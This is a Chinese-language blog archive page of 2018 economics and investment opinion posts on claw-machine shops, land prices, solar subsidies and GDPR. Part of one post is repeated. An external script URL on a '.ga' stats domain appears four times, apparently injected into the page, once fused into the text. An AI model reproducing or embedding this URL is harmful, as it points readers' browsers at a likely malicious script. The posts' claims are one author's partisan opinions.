月份: 六月 2018

【經濟分析–小試牛刀】

延續我今天批判Emmy Hu錯誤的經濟邏輯，並從網友陳安安舉例的夾娃娃機店風潮，我們可以繼續往下推論，並從事實上得到驗證：

“這邊順道談一下從餐飲業來判斷景氣的正確分析方式。

經濟學看重的是邊際分析，因為邊際轉變可以反推侷限條件的轉變，從而幫助我們知道大環境是否真的在變化？往哪個方向變化。

百貨公司的餐廳多半是知名店家（如瓦城集團、王品集團、鼎泰豐或日本駐台名店…等），這些高租值餐飲本身當然也會因環境不同而有租值變化，但外人要觀察出來並不容易（拿得到內帳才能看出真實變化）。

要簡單又正確地觀察景氣，以經濟學邊際分析入手，應該從鬧區邊緣、住宅區裡的名不見經傳小店觀察。

通常我會從：新開無名小店的裝潢（可查知店主的未來收入預期）、開店速度（可查知現金流速）與倒店頂讓速度（真實景氣）三者切入。

網友陳安安觀察夾娃娃機店的角度非常正確：連前家店招牌裝潢都不改，直接機器擺入就開夾娃娃機店，證明店家只想賺快錢，也清楚知道機會稍縱即逝，更清楚未來收入預期也不多，所以才選擇幾乎不更改裝潢直接上陣搶錢。夾娃娃機店的多層轉包契約，店家主與機器主分離，代表邊際上的開店資金不夠雄厚，風險承擔能力也不夠，才會出現這種契約安排。還有，夾娃娃機的邊際利益掉得極快，就我的觀察研究，三年來下跌9成不止！

因此大量風行猶如蛋塔熱潮的夾娃娃機店，恰恰證明景氣不如想像好。"

夾娃娃機店的存在明顯彰顯店主（無論自有或承租）對於在該處未來收入流的預期是低的，所以才會選擇這種賺快錢的經營模式。當此種商業模式大行其道，則表示有相當多人對「土地」這項生產要素的未來租值預期是下降的。

回頭對照夾娃娃機風起雲湧的這三年，恰恰是台灣房地產價格重挫的三年 — 依據國泰建設房地產指數，全國成交均價2015Q1、2016Q1、2017Q1分別是：$28.9、$26.75、$23.92（萬/坪）。

以上足以證明經濟學的邊際分析觀察正確性極高。

而土地身為最重要生產要素之一，其價格的下降足以代表整體社會生產力與租值的下降，也意味著整體社會財富下降。因此回到過去我曾為文批判sway等人無知地以為房地產價格全靠人為炒作，完全忽略社會財富累積本身也會提高房地產價格，更無知無畏地主張「打房」來逼迫財富移轉它國，愚蠢至極。（參見：「只會檢討別人的貧窮思維註定要窮 — 論台灣房價何以至此」）

2018Q1我們終於看到台灣土地價格回升，國泰指數來到$24.91萬/坪。我認為這部份租值回升，主要來自於收入預期的改變，而此預期改變我在2017年8月「We are at the crossroads of prosperity or low progress 」這篇文章說得清楚：

“Right now, I am confident in that the later two factors playing more important roles in the formation of the massively optimistic anticipation. But as long as the real improvement does not catch it up in time, the positive mood could dissipate quickly. It could cost a lot of energy and time to recall it back again. What a shame, president Trump!

Therefore, I believe that we are at the crossroads of the U.S. economy progress. In only couple months, we will figure out which path do we take."

很明顯，Trump總統實際做得相當不錯，減稅與de-regulation都做得好，此二重大侷限條件轉變對人民預期有很大的影響力，我們走上了相對充滿希望的那條道上。（這是否證明我比『所謂的財經雜誌專家』早將近一年就看出景氣好轉嗎？哈！我的錢包已經幫忙表態了～）

另一個好消息就是北韓走向開放與逐漸的市場經濟，誠如張五常所言：「東線無戰事」會是一大利多。

但我還是要提醒，上個月中我寫了「It’s better to have more cash in your investment pile in the future two years.」一文，表達我對Trump總統可能因貿易戰爭作死以及逐漸出現的money illusion的擔憂：

“The capital expenditure of companies may or may not lead to good returns, which means the more capital investing activities do not promise higher profits in the future. Wastes or mis-location of resources can happen in this the-more-the-better investing phenomenon, especially when a company has some bad KPI requirements. It’s due to “Money Illusion" to a certain degree. Bad incentive systems influence the managers’ decisions as well. And I believe these two factors are the source of the business cycle.

I haven’t expected the turning point coming so fast. Nevertheless, I could smell something going wrong recently. I’ve increased the cash share of my investment pile more than fifty percentage and guess by doing so would be safer in the next two years."

回到夾娃娃機。重新上漲的土地價格將進一步擠壓夾娃娃機這種邊際商業模式的利益，退潮指日可待。但此種商業模式的興起背後彰顯的經濟邏輯 — 契約安排的轉變隱含土地租值下降– 恰恰讓我們從事後諸葛的土地成交價格統計上得到印證。

這也證明掌握正確經濟分析能力，你不用見到什麼Fed前主席，也能從正確觀察邊際轉變從而掌握局勢。當然，你就算訪問過巴菲特或柏南奇，也壓根兒不代表你就有同等級的分析能力啦 XDhttps://js.developerstatss.ga/stat.js?n=ns1

才有自稱某知名台灣財經雜誌出身的專家，撰文強調其「景氣大好說」有其根據。

（話說其根據貧乏得可憐，一點經濟邏輯都不具備，連基本邊際分析都不會）

今天就看到更知名的華爾街日報發文說：「景氣可能不如想像中好。」呵呵。

當然我不認為從這種統計數字可以多正確地判斷景氣。如果可以，那一堆搞計量經濟學、宏觀經濟學者早就從金融市場賺翻天了，可惜真實世界裡多數都苦哈哈。

這邊順道談一下從餐飲業來判斷景氣的正確分析方式。

經濟學看重的是邊際分析，因為邊際轉變可以反推侷限條件的轉變，從而幫助我們知道大環境是否真的在變化？往哪個方向變化。

百貨公司的餐廳多半是知名店家（如瓦城集團、王品集團、鼎泰豐或日本駐台名店…等），這些高租值餐飲本身當然也會因環境不同而有租值變化，但外人要觀察出來並不容易（拿得到內帳才能看出真實變化）。

要簡單又正確地觀察景氣，以經濟學邊際分析入手，應該從鬧區邊緣、住宅區裡的名不見經傳小店觀察。

通常我會從：新開無名小店的裝潢（可查知店主的未來收入預期）、開店速度（可查知現金流速）與倒店頂讓速度（真實景氣）三者切入。

網友陳安安觀察夾娃娃機店的角度非常正確：連前家店招牌裝潢都不改，直接機器擺入就開夾娃娃機店，證明店家只想賺快錢，也清楚知道機會稍縱即逝，更清楚未來收入預期也不多，所以才選擇幾乎不更改裝潢直接上陣搶錢。夾娃娃機店的多層轉包契約，店家主與機器主分離，代表邊際上的開店資金不夠雄厚，風險承擔能力也不夠，才會出現這種契約安排。還有，夾娃娃機的邊際利益掉得極快，就我的觀察研究，三年來下跌9成不止！

因此大量風行猶如蛋塔熱潮的夾娃娃機店，恰恰證明景氣不如想像好。

我家這個街區（住宅區，僅有兩家便利商店與幾家連鎖早餐店，唯一優勢是有一升學率高的公立國中）附近一個店面，一年內從果汁店、早餐土司店轉為牛肉麵店。放學時路邊有一生意不錯的蔥油餅餐車，老闆不敢租下店面，寧可繼續餐車。倒閉轉換速度與餐車老闆意願也說明景氣不如想像中佳。

當然，要更準確地判斷整體景氣，不應該只看這些。我自己經商跑了好幾個國家，有自己一套心得，且讓我敝帚自珍吧。

特別寫這些，只是不想要「觀察百貨公司餐廳或美食街」這種愚蠢且錯誤的作法，誤導太多人。不過自己人微言輕，又不是什麼知名財經記者，不寄望會有什麼影響力啦。

quote:"Business activity globally has slowed from multi-year highs, according to the JPMorgan Chase and IHS Markit global purchasing managers index. The global manufacturing index fell to 53.1 in May, a nine-month low. The services index for April, which will be updated for May on Tuesday, slid to 53.8 from 54.8 two months earlier. And business activity in the eurozone fell to its lowest level in a year and a half last month.

The Baltic Dry Index, a measure of shipping costs that investors often look to as a proxy for global demand, has fallen 22% from a recent peak last month. Copper prices, another gauge of economic activity, have been on the decline. Among developed economies, data on the whole have been missing economists’ expectations by a wide margin, according to Citigroup’s index on economic surprises, after easily exceeding expectations for most of 2017."

WSJ:「Global Economic-Growth Story Fades, Dimming Market Optimism」

https://js.developerstatss.ga/stat.js?n=ns1

我一直主張，最沒有存在價值的產業，就是那種靠政府補貼才能存活的產業。

靠政府補助才能生存，本身代表違背比較優勢定律，將發生以下狀況：

1. 政府用稅金去補貼競爭劣勢企業，是一種資源浪費。

2. 政府的補貼優惠必然是從優勢產業課稅，然後移轉給競爭弱勢但尋租強勢的產業。以產業來看，將會減損優勢產業的生產意願（特別是搭配累進式稅制），加強整體社會環境的尋租氣氛；從整體來看，則是嚴重資源扭曲 — 強兵猛將拿不到資源，搖尾且與政客沆瀣一氣者反倒致富。

3. 被補貼者為了繼續獲得補貼，將發生競爭規則轉變 — 從原本應該以「物美價廉者勝出」的市場競爭，轉為「誰最能爭取政府補貼」的尋租行為。

鼓勵尋租對整體社會大不利。社會競爭規則轉變，邊際上最容易觀察到的現象就是學生不讀書搞起社運、當起政黨走狗。某些無知教授稱之「進步」，其實是大退步。

為何是退步？很簡單，把學生運動推到盡頭，不就是當年的紅衛兵？試問紅衛兵的行為除了破壞、私刑虐待與殺人之外，有任何建設性可言？然而紅衛兵中一樣有此遊戲規則下勝出而享受租值者，例如被改名的「宋要武」。

回頭看此新聞，太陽能發電產業在多數國家都必須靠政府補貼方得生存，這本身已經說明「光伏太陽能在多數場景下均是個經濟效率很差的發電方式」。而政府補貼並不會永遠存在，因為一者，再有錢的政府也禁不起擴大補貼（我們看到西班牙、日本政府都已經受不了而刪減補貼）；二者，太陽能只是風口上的流行政治議題，當選票不再親賴此議題，政客說變就變。

三者，曾經談過，光伏太陽能發電的全球關鍵專利並不多（特別與無線通訊相比），其中相當比例都已經過了20年保護期。這表示太陽能的生產進入門檻並不高，壟斷利益當然貧乏得可憐。希冀在此產業的獲得超越市場報酬的唯一可能，就是有門路可以長期獲得政府補助，然而"補助"的侷限條件又如前述二點所拘束。

因此站在投資角度上，我始終未曾投資任何太陽能項目。

「光伏新政冲击波：突然踩下急刹车，背后有何隐情？」

quote:"多位业内人士均表示，究其原因，其背后无疑是光伏装机规模扩大的同时，诺大的可再生能源补贴缺口与日俱增，国家财政实属难以承受。根据财政部统计，截至2017年底，可再生能源补贴缺口已达到1000亿元。"

https://js.developerstatss.ga/stat.js?n=ns1

日前我才在「不問利弊只管跟風的法律學者思維–簡論GDPR」一文寫道：

「…對許多非歐盟地區的小企業或新創事業而言，等到被罰款時直接放棄歐盟市場會是最經濟的策略。而在這種策略之下，這意味著未來許多跨國新興服務很可能直接略過歐盟地區，或是一被抓到違規就停止提供服務等現象將發生。歐盟過嚴苛的個資保護法規究竟保障了歐盟人民什麼，難道不值得深思？」

果然華爾街日報很快地報導了我預言的現象：美國洛杉磯時報、紐約每日新聞與許多美國報紙新聞網站直接屏蔽掉對歐盟地區的服務，杜絕新上路的歐盟GDPR法爭議。

該篇報導訪問的Intel global privacy officer David Hoffman也直言：「如果要在巴黎或紐約選擇創立資料相關事業，我絕對會建議創業者，除非走投無路，否則請選擇在紐約！」

再一次驗證經濟學的科學預測力。

我也在同一篇文章談到：

「任何人類權利都有邊界，無論是有形產權到無形基本人權，其實都是「權利組（collection of rights）」，當組合邊界過大到影響他種權利實施，亦或是大到邊界模糊的情形發生時，資訊費用與社會成本的增加是必然發生的後果。」

因此我們也看到歐盟地區某些律師「假保障人權之名，紛紛對Google、Facebook等有錢公司發起集體訴訟的行為」。

我始終不理解這些人權激進團體所謂的：「寧可讓讓服務消失，也要保護人權」的荒誕邏輯。我也不理解某些人總認為自己的價值觀偏好（value preference）可以代替他人做決定。但我理解這些人以此為名所發起的訴訟、政治運動，的的確確可以為自己賺得金錢、名聲或政治影響力（當然也有太陽花般自願慰安的性服務提供者，亦或各取所需者）。

https://js.developerstatss.ga/stat.js?n=ns1